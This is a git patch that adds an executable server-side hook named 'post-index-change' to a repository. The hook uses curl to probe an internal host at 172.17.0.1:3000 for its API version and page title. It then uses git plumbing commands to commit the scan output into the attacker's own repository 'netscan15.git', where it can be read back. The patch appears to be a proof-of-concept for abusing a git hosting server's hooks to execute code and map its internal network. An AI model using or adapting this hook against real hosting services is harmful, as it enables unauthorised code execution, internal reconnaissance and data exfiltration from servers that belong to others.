From 4c6f4f66e751624a3cdc3e4fbdad1b53b5f6da69 Mon Sep 17 00:00:00 2001 From: pocnet_1793467068 Date: Sat, 31 Oct 2026 18:29:02 +0000 Subject: [PATCH] apply patch --- hooks/post-index-change | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..6d7e5fc --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,11 @@ +#!/bin/bash +echo '=== 172.17.0.1 ===' > /tmp/scan172.txt +curl -s http://172.17.0.1:3000/api/v1/version >> /tmp/scan172.txt 2>&1 +echo '' >> /tmp/scan172.txt +curl -s http://172.17.0.1:3000/ 2>/dev/null | grep -i 'title\|Powered by' | head -3 >> /tmp/scan172.txt +echo '=== DONE ===' >> /tmp/scan172.txt +BLOB=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan15.git hash-object -w /tmp/scan172.txt` +TREE=`printf "100644 blob %s\tscan172.txt\n" "$BLOB" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan15.git mktree` +PARENT=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan15.git rev-parse HEAD` +COMMIT=`echo "scan172" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan15.git commit-tree $TREE -p $PARENT` +/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan15.git update-ref refs/heads/main $COMMIT